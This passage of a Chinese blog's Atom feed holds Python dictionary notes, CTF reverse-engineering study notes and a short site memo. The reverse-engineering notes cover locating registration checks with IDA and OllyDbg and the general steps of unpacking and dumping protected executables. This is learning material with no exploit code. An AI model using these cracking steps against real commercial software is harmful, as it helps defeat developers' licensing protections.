    <content type="html"><![CDATA[<p>用了很久的python，但是对python的许多特性掌握都不是很熟悉啊，这里进行一下记录好了：</p><h3 id="python的字典相关">python的字典相关</h3><span id="more"></span><h4 id="对字典的排序">对字典的排序</h4><p>对字典进行排序的话,就要利用到sorted函数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sorted</span>(one_dic.items(),key = <span class="keyword">lambda</span> s:s[<span class="number">1</span>],reverse = <span class="literal">True</span>)</span><br></pre></td></tr></table></figure><p>这个排序函数的key其实是“排序依据”的意思（回调函数），如果有多个值的话就会按照“分发扑克”的权重方式进行排序</p><h4 id="ordereddict">OrderedDict</h4><p>你想创建一个字典，并且在迭代或序列化这个字典的时候能够控制元素的顺序。<br>使用collections中的OrderedDict模块来完成<a href="https://docs.python.org/3.4/library/collections.html">相关文档</a><br><code>collections中包含了很多特殊化处理过的python的容器-dict,list,set 和 tuple。</code><br>OrderedDict会记录下键值进入当前字典的顺序</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>d = &#123;<span class="string">&#x27;book&#x27;</span>:<span class="number">3</span>, <span class="string">&#x27;apple&#x27;</span>:<span class="number">4</span>, <span class="string">&#x27;key&#x27;</span>:<span class="number">14</span>&#125;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>t = OrderedDict(<span class="built_in">sorted</span>(d.items(), key = <span class="keyword">lambda</span> k:k[<span class="number">1</span>]))</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>t</span><br><span class="line">OrderedDict([(<span class="string">&#x27;book&#x27;</span>, <span class="number">3</span>), (<span class="string">&#x27;apple&#x27;</span>, <span class="number">4</span>), (<span class="string">&#x27;key&#x27;</span>, <span class="number">14</span>)])</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>t[<span class="string">&#x27;flags&#x27;</span>] = <span class="number">4</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>t</span><br><span class="line">OrderedDict([(<span class="string">&#x27;book&#x27;</span>, <span class="number">3</span>), (<span class="string">&#x27;apple&#x27;</span>, <span class="number">4</span>), (<span class="string">&#x27;key&#x27;</span>, <span class="number">14</span>), (<span class="string">&#x27;flags&#x27;</span>, <span class="number">4</span>)])</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>4.有个特别的字典叫做defaultdict，其作用相当于是【当字典里不存在对应的变量的时候，会调用默认的函数对对应的键赋值。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> collections <span class="keyword">import</span> defaultdict</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">def</span> <span class="title function_">default_call</span>():</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;s&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>d = defaultdict(default_call)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>d</span><br><span class="line">defaultdict(&lt;function default_call at <span class="number">0x000000000123ED90</span>&gt;, &#123;&#125;)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>d[<span class="number">1</span>]</span><br><span class="line"><span class="string">&#x27;s&#x27;</span></span><br></pre></td></tr></table></figure><h4 id="字典中删除重复的对象">字典中删除重复的对象</h4><p>假设字典为</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">z = &#123;</span><br><span class="line">    <span class="number">1</span>: <span class="string">&#x27;a&#x27;</span>,</span><br><span class="line">    <span class="number">2</span>: <span class="string">&#x27;a&#x27;</span>,</span><br><span class="line">    <span class="number">3</span>: <span class="string">&#x27;a&#x27;</span>,</span><br><span class="line">    <span class="number">4</span>: <span class="string">&#x27;b&#x27;</span>,</span><br><span class="line">    <span class="number">5</span>: <span class="string">&#x27;c&#x27;</span>,</span><br><span class="line">    <span class="number">6</span>: <span class="string">&#x27;c&#x27;</span>,</span><br><span class="line">    <span class="number">7</span>: <span class="string">&#x27;d&#x27;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如何将重复的值去掉呢（指只有abc）<br>解答：由于dict本身<strong>每个键都是唯一的，所以这里我们可以使用dict自身来帮助我们实现唯一</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">dict</span>([(x, y) <span class="keyword">for</span> y, x <span class="keyword">in</span> z.items()])</span><br></pre></td></tr></table></figure><p>此时返回的字典即为拥有唯一键值的dict</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;用了很久的python，但是对python的许多特性掌握都不是很熟悉啊，这里进行一下记录好了：&lt;/p&gt;
&lt;h3 id=&quot;python的字典相关&quot;&gt;python的字典相关&lt;/h3&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>reverse学习</title>
    <link href="https://showlinkroom.me/2017/01/21/%E8%8D%89%E7%A8%BF/"/>
    <id>https://showlinkroom.me/2017/01/21/%E8%8D%89%E7%A8%BF/</id>
    <published>2017-01-21T08:37:59.000Z</published>
    <updated>2020-07-16T13:31:30.443Z</updated>
    
    <content type="html"><![CDATA[<p>讲道理打了一段时间的ctf，尽是在抱队友的大腿和瞎玩啊QvQ，这里就记录一下自己打的一些东西好了，也会大家分享一下。</p><h1 id="more-逆向破解的相关学习"><span id="more"></span><br>逆向破解的相关学习</h1><p>破解思路：<br>一般破解的思路是：<br>检查是否加壳-&gt;（脱壳）-&gt;利用IDA分析函数分布（可以使用搜索string的方法）-&gt;利用ob动态调试查找</p><h4 id="8-17">8.17</h4><p>通过关键API交叉引用查找以及通过对关键API下断点来定位关键函数的代码</p><h5 id="利用ollydbg：">利用OllyDbg：</h5><p>分析完程序之后我们发现需要输入数据，利用昨天“查找关键字的方法”查找不到（因为这里对字符串进行了ansi编码，而我们输入的是unicode模式的）所以要换一种方法。有过Win开发经验的话就会记得，弹框的函数为“MessageBox”，这个函数是需要确定。所以我们尝试利用MessageBox来查找该函数的位置（此时还需要知道一个事情，我们使用的MessageBox的函数在win里面其实是一个<strong>宏</strong>（记得函数颜色是紫色，和宏的颜色是一致的）win通过判断我们程序是否声明使用UNICODE的决定使用的函数种类（不同编码的函数处理方式不同）。所以这里应该调用的是MessageBoxA<br>做到后来发现，之所以找不到汉字，是以为此时编码方式为ANSI，汉字输入后被编码成了奇怪的东西。。。。。</p><h5 id="使用ida静态分析：">使用IDA静态分析：</h5><p>打开文件后，点击import</p><blockquote><p>import 功能：查看此程序调用了哪些外部的函数（命令？）同样也是输入内容后自动匹配。</p></blockquote><p>键入MessageBoxA后，找到对应函数，双击查看位置<br>此时利用<strong>交叉引用</strong>来查询在哪里调用了此函数。</p><blockquote><p>交叉引用（xref）：可以知道指令代码相互调用的关系。注意这个功能只能在使用系统定义的api才能生效，自定义函数是不能发挥作用的。</p></blockquote><p>然后此时键入x，发现该函数被调用的次数后，点进去查看。<br>按下F5还原伪代码，仔细观察发现某个LoadString函数中读取的值与我们的输入值发生了比较。<br>最后使用Restorator进行了查找（话说restorator不是很会用啊。。。）</p><h4 id="8-18">8.18</h4><p>OD和IDA中都可以使用&lt;CTRL + G&gt;进行对api的跟踪，通过这个办法能够快速的找到我们需要的API的位置。</p><h4 id="8-20">8.20</h4><p>之前两天荒废了。。。今天继续<br>ollydbg可以搞得有一个叫做“调试”-“执行到用户代码”的功能，这个功能下可以把断点社会到用户当前的指令的下一个位置</p><h5 id="peid的算法分析：">PEiD的算法分析：</h5><blockquote><p>很多程序都喜欢使用成熟的标准算法来作为注册算法的一个部分，如MD5、Blowfish等。这些算法本身往往就十分复杂和难以你理解，如果从反汇编指令来阅读这些算法则更是难上加难。对于标准算法，实际上我们并不需要知道这些算法的详细计算过程，我们只需要知道是哪一个算法即可，因为标准算法网上都能找到成熟的库文件或者源码等。<br>PEiD有一个叫做Krypto ANALyzer的插件，使用这个插件可以对程序进行扫描，通过特征匹配来识别程序内部可能用到的一些标准算法。</p></blockquote><p>Krypto ANALyzer的使用方法为：点击PEiD主界面右下角的“=&gt;”按钮，选择“插件”菜单项，然后选择“Krypto ANALyzer”，就可以弹出Krypto ANALyzer插件了。Krypto ANALyzer插件会自动分析程序内部可能用到的标准算法，</p><h4 id="8-26">8.26</h4><p>今晚赶着学了一下android的smali文件的反编译。。。这里记录一下：</p><ul><li>分析程序的主Activity</li><li>使用记事本打开HelloWorld\smali\com\example\helloworld\MainActivity.smali文件。每个smali文件都由若干条语句组成，所有语句都遵循着同一套语法规范。<br>如前三行代码：</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">      .<span class="keyword">class</span> <span class="title class_">public</span> Lcom/example/helloworld/MainActivity;</span><br><span class="line"></span><br><span class="line">      .<span class="built_in">super</span> Landroid/app/Activity;</span><br><span class="line"></span><br><span class="line">      .source <span class="string">&quot;MainActivity.java&quot;</span></span><br><span class="line">```  </span><br><span class="line"></span><br><span class="line">分别表示具有<span class="keyword">public</span>访问权限的类com/example/helloworld/MainActivity，其父类是android/app/Activity，源文件名是MainActivity.java。</span><br><span class="line"></span><br><span class="line">再比如：</span><br><span class="line">``` java</span><br><span class="line">      .field <span class="keyword">private</span> info:Ljava/lang/String</span><br></pre></td></tr></table></figure><p>表示一个私有字段info, 它的类型为“Ljava/lang/String;”<br>一些常见的Smali语法如下：</p><pre><code>  .field private isFlag:z　　定义变量  .method　　方法  .parameter　　方法参数  .prologue　　方法开始  .line 12　　此方法位于第12行  invoke-super　　调用父函数  const/high16  v0, 0x7fo3　　把0x7fo3赋值给v0  invoke-direct　　调用函数  return-void　　函数返回void  .end method　　函数结束  new-instance　　创建实例  iput-object　　对象赋值  iget-object　　调用对象  invoke-static　　调用静态函数 </code></pre><h1 id="名词学习">名词学习</h1><h3 id="加壳">加壳:</h3><blockquote><p>加壳一般是指保护程序资源的方法. 脱壳一般是指除掉程序的保护,用来修改程序资源.<br>在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行，拿到控制权，然后完成它们保护软件的任务。就像动植物的壳一般都是在身体外面一样理所当然（但后来也出现了所谓的“壳中带籽”的壳）。<br>加壳：其实是利用特殊的算法，对可执行文件里的资源进行压缩，只不过这个压缩之后的文件，可以独立运行，解压过程完全隐蔽，都在内存中完成。它们附加在原程序上通过加载器载入内存后，先于原始程序执行，得到控制权，执行过程中对原始程序进行解密、还原，还原完成后再把控制权交还给原始程序，执行原来的代码部分。加上外壳后，原始程序代码在磁盘文件中一般是以加密后的形式存在的，只在执行时在内存中还原，这样就可以比较有效地防止破解者对程序文件的非法修改，同时也可以防止程序被静态反编译。</p></blockquote><h3 id="输入表">输入表</h3><blockquote><p>输入表中保存的是在程序中调用的<em>定义在其他DLL中的函数信息以及对应的DLL信息</em>。在直接调用windows api的时候，这些api可以再程序的输入表中看到</p></blockquote><h3 id="api断点">API断点</h3><blockquote><p>OD中可以对特定的API设定断点，无论是直接调用的API还是动态调用的APi</p></blockquote><h3 id="int3">int3</h3><p>int3是留给调试工具使用的中断，调试工具运行后会替换int3的向量，使得中断方式后执行自己的代码。在单步(例如Debug中的命令p)调试程序时，调试工具会将要执行代码的下一条指令改成int 3，这样执行完当前这行代码后就会执行调试工具的代码，而不会继续执行，从而实现单步调试。一些软件为了阻碍被人破解其程序，会估计使用int3，这样一来，利用int3的调试工具就无法正常调试他们的程序了。<br>汇编中一般体现为如下指令：</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span>     <span class="built_in">eax</span>,<span class="number">0CCCCCCCCh</span>   </span><br><span class="line"><span class="keyword">rep</span> stos <span class="built_in">dword</span> <span class="built_in">ptr</span> <span class="built_in">es</span>:[<span class="built_in">edi</span>]</span><br></pre></td></tr></table></figure><p>rep指令的目的是重复其上面的指令.ECX的值是重复的次数.<br>STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.</p><h2 id="部分常用汇编段说明：">部分常用汇编段说明：</h2><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">push</span>    <span class="built_in">ebp</span>  </span><br><span class="line"><span class="keyword">mov</span>     <span class="built_in">ebp</span>, <span class="built_in">esp</span>  </span><br><span class="line"><span class="keyword">sub</span>     <span class="built_in">esp</span>, <span class="number">194h</span></span><br></pre></td></tr></table></figure><p>这个一般是程序的开头，sub这一段当前函数分配局部变量的空间</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">push</span>    <span class="built_in">ebx</span>  </span><br><span class="line"><span class="keyword">push</span>    <span class="built_in">esi</span>  </span><br><span class="line"><span class="keyword">push</span>    <span class="built_in">edi</span>  </span><br></pre></td></tr></table></figure><p>这三个是一定会有的，ebx是base regiter（基础寄存器，存储储存地址），esi和edi是寄存器压站，保存现场。</p><h3 id="大端-小端">大端，小端</h3><p>对于一个由2个字节组成的16位整数，在内存中存储这两个字节有两种方法：一种是将低序字节存储在起始地址，这称为小端(little-endian)字节序；另一种方法是将高序字节存储在起始地址，这称为大端(big-endian)字节序。<br>记忆方法：大端——高尾端，小端——低尾端（本机子为小端）</p><h3 id="dump内存">dump内存</h3><p>Dump的本意是&quot;倾卸垃圾&quot;、“把(垃圾桶)倒空”。在计算机技术中使用Dump的主要意思仍 然如此,即当电脑运行发现故障后,无法排除而死机,通常要重新启动。为了找出故障的原因 ,需要分析现场(即死机时整个内存的当前状况),在重新启动系统之前要把内存中的一片0、 1(这时它们尤如一堆垃圾)&quot;卸出&quot;保存起来,以便由专家去分析引起死机的原因。技术资料中 把这个&quot;卸出&quot;的过程叫dump;有时把卸出的&quot;内容&quot;也叫dump。国际标准化组织(ISO)把前者定 义为To record,at a particular instant,the contents of all or part of one stora geevice in another storage device.Dumping is usually for the purpose of debuggi n。&quot;译文如下:&quot;在某个特定时刻,把一个存储设备中的全部或部分的内容转录进另一个存储 设备之…</p><h3 id="如何选择dump-的时机？">如何选择dump 的时机？</h3><p>手动脱壳理想的最佳dump时机是指壳已经把程序代码包括资源等数据全部解密、输入表等数据还原但还未填充系统函数地址、DLL则还未重定位，此时dump出来的文件只需修正OEP、ImportTableRVA等信息即可正常运行完成脱壳。”</p><h3 id="iat">IAT</h3><p>导入地址表（IAT）:Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数，这些函数的代码位于一个或者多个DLL 中.当PE 文件被装入内存的时候，Windows 装载器才将DLL 装入，并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接)，这操作就需要导入表完成.其中导入地址表就指示函数实际地址</p><h3 id="脱壳的基本步骤">脱壳的基本步骤</h3><ul><li>脱壳的基本步骤<br>查壳 (PEID、FI、PE-SCAN)–&gt;寻找OEP(OD)–&gt;脱壳/Dump(LordPE、PeDumper、OD自带的脱壳插件、PETools)–&gt;修复(Import REConstructor)</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;讲道理打了一段时间的ctf，尽是在抱队友的大腿和瞎玩啊QvQ，这里就记录一下自己打的一些东西好了，也会大家分享一下。&lt;/p&gt;
&lt;h1 id=&quot;more-逆向破解的相关学习&quot;&gt;&lt;/h1&gt;</summary>
    
    
    
    
    <category term="ctf学习" scheme="https://showlinkroom.me/tags/ctf%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>网站的备忘录</title>
    <link href="https://showlinkroom.me/2017/01/21/%E7%BD%91%E7%AB%99%E8%BF%98%E6%B2%A1%E5%81%9A%E5%AE%8C%E7%9A%84%E4%BA%8B%E6%83%85/"/>
    <id>https://showlinkroom.me/2017/01/21/%E7%BD%91%E7%AB%99%E8%BF%98%E6%B2%A1%E5%81%9A%E5%AE%8C%E7%9A%84%E4%BA%8B%E6%83%85/</id>
    <published>2017-01-21T07:53:31.000Z</published>
    <updated>2020-07-16T13:31:30.434Z</updated>
    
    <content type="html"><![CDATA[<p>好像网站还没有办完在，这里还有一些事情要记录：</p><ul><li>记得把备案信息什么什么的放上去</li><li>下载hexo的文档？记录一些基本操作（比如怎么删除网站）</li></ul><p>刚刚遭遇了大危机，发现hexo里面不能写一些特殊的字符，比如<code>\&#123;\% %\&#125;</code>之类的字符，否则的话会爆炸。。。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;好像网站还没有办完在，这里还有一些事情要记录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;记得把备案信息什么什么的放上去&lt;/li&gt;
&lt;li&gt;下载hexo的文档？记录一些基本操作（比如怎么删除网站）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;刚刚遭遇了大危机，发现hexo里面不能写一些特殊的字符，比如&lt;c</summary>
      
    
    
    
    
    <category term="个人备忘录" scheme="https://showlinkroom.me/tags/%E4%B8%AA%E4%BA%BA%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
  </entry>
  
</feed>
